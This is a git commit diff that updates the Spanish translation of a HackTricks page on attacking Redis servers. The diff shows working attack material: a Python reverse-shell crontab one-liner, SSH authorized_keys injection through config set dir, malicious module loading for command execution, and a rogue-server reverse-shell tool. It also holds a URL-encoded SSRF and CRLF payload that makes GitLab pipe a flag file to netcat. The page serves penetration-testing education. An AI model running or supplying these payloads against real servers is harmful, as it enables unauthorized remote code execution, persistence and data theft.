mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
9ab2a7a37f
commit
0a045c98bd
@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
||||
|
||||
### Banner
|
||||
|
||||
Redis es un **protocolo basado en texto**, solo puedes **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse usando **ssl/tls** (pero esto es muy raro).
|
||||
Redis es un **protocolo basado en texto**, solo puedes **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede funcionar usando **ssl/tls** (pero esto es muy raro).
|
||||
|
||||
En una instancia regular de Redis, solo puedes conectarte usando `nc` o también podrías usar `redis-cli`:
|
||||
```bash
|
||||
@ -45,9 +45,9 @@ Además, se puede configurar un **nombre de usuario** en el parámetro `masterus
|
||||
|
||||
> [!NOTE]
|
||||
> Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\
|
||||
> Además, ten en cuenta que **no hay forma de encontrar externamente** si Redis fue configurado solo con contraseña o nombre de usuario+contraseña.
|
||||
> Además, ten en cuenta que **no hay forma de encontrar externamente** si Redis fue configurado solo con contraseña o nombre de usuario + contraseña.
|
||||
|
||||
En casos como este, necesitarás **encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**brute-force**](../generic-hacking/brute-force.md#redis) en él.\
|
||||
En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**fuerza bruta**](../generic-hacking/brute-force.md#redis).\
|
||||
**En caso de que encuentres credenciales válidas, necesitas autenticar la sesión** después de establecer la conexión con el comando:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
@ -116,7 +116,7 @@ DUMP <key>
|
||||
|
||||
### Shell Interactiva
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente una shell interactiva o una shell reversa en Redis(<=5.0.5).
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente una shell interactiva o una shell inversa en Redis(<=5.0.5).
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
@ -164,8 +164,8 @@ Ejemplo [de aquí](https://blog.adithyanak.com/oscp-preparation-guide/enumeratio
|
||||
Tenga en cuenta que el resultado de **`config get dir`** puede cambiar después de otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** podría encontrar el **home** del **usuario redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y al saber esto, sabe dónde puede escribir el archivo `authenticated_users` para acceder a través de ssh **con el usuario redis**. Si conoce el home de otro usuario válido donde tiene permisos de escritura, también puede abusar de ello:
|
||||
|
||||
1. Genere un par de claves públicas y privadas ssh en su pc: **`ssh-keygen -t rsa`**
|
||||
2. Escriba la clave pública en un archivo : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Importe el archivo en redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
2. Escriba la clave pública en un archivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Importe el archivo en redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. Guarde la clave pública en el archivo **authorized_keys** en el servidor redis:
|
||||
|
||||
```
|
||||
@ -178,10 +178,12 @@ OK
|
||||
OK
|
||||
```
|
||||
|
||||
5. Finalmente, puede **ssh** al **servidor redis** con la clave privada : **ssh -i id_rsa redis@10.85.0.52**
|
||||
5. Finalmente, puede **ssh** al **servidor redis** con la clave privada: **ssh -i id_rsa redis@10.85.0.52**
|
||||
|
||||
**Esta técnica está automatizada aquí:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Además, los usuarios del sistema también se pueden descubrir verificando con `config set dir /home/USER`, y tras la confirmación, se puede escribir un nuevo `authorized_keys` en `/home/USER/.ssh/authorized_keys`. Use [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) para hacer un ataque de fuerza bruta con una lista de palabras de nombres de usuario y sobrescribir `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -195,14 +197,14 @@ OK
|
||||
```
|
||||
El último ejemplo es para Ubuntu, para **Centos**, el comando anterior debería ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||||
|
||||
Este método también se puede usar para ganar bitcoin :[yam](https://www.v2ex.com/t/286981#reply14)
|
||||
Este método también se puede utilizar para ganar bitcoin :[yam](https://www.v2ex.com/t/286981#reply14)
|
||||
|
||||
### Cargar Módulo Redis
|
||||
### Cargar Módulo de Redis
|
||||
|
||||
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo redis para ejecutar comandos arbitrarios**.
|
||||
2. Luego necesitas alguna forma de **subir el** módulo compilado.
|
||||
3. **Carga el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so`
|
||||
4. **Lista los módulos cargados** para verificar que se cargó correctamente: `MODULE LIST`
|
||||
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo de redis para ejecutar comandos arbitrarios**.
|
||||
2. Luego necesitas alguna forma de **subir el módulo compilado**.
|
||||
3. **Carga el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so`.
|
||||
4. **Lista los módulos cargados** para verificar que se haya cargado correctamente: `MODULE LIST`.
|
||||
5. **Ejecuta** **comandos**:
|
||||
|
||||
```
|
||||
@ -213,11 +215,11 @@ Este método también se puede usar para ganar bitcoin :[yam](https://www.v2ex
|
||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||||
```
|
||||
|
||||
6. Descarga el módulo cuando quieras: `MODULE UNLOAD mymodule`
|
||||
6. Descarga el módulo cuando quieras: `MODULE UNLOAD mymodule`.
|
||||
|
||||
### Bypass de sandbox LUA
|
||||
|
||||
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en sandbox**. En la publicación vinculada puedes ver **cómo abusar de ello** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **eludir la** sandbox de Lua podrías **ejecutar comandos arbitrarios** en el sistema. Además, de la misma publicación puedes ver algunas **opciones para causar DoS**.
|
||||
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en sandbox**. En la publicación vinculada puedes ver **cómo abusar de ello** utilizando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **eludir la sandbox** de Lua podrías **ejecutar comandos arbitrarios** en el sistema. Además, de la misma publicación puedes ver algunas **opciones para causar DoS**.
|
||||
|
||||
Algunos **CVEs para escapar de LUA**:
|
||||
|
||||
@ -249,13 +251,13 @@ Si puedes enviar una solicitud **en texto claro** **a Redis**, puedes **comunica
|
||||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
Por lo tanto, si encuentras una **SSRF vuln** en un sitio web y puedes **controlar** algunos **headers** (quizás con una vulnerabilidad CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis.
|
||||
Por lo tanto, si encuentras una **vulnerabilidad SSRF** en un sitio web y puedes **controlar** algunos **encabezados** (quizás con una vulnerabilidad CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis.
|
||||
|
||||
### Ejemplo: Gitlab SSRF + CRLF a Shell
|
||||
|
||||
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** fue explotada simplemente **agregando %0D%0A** caracteres a la **URL**.
|
||||
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** se explotó simplemente **agregando caracteres %0D%0A** a la **URL**.
|
||||
|
||||
Por lo tanto, fue posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** desde **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es:
|
||||
Por lo tanto, fue posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** de **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
@ -266,6 +268,6 @@ Y la solicitud **URL encode** **abusando de SSRF** y **CRLF** para ejecutar un `
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
|
||||
_Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user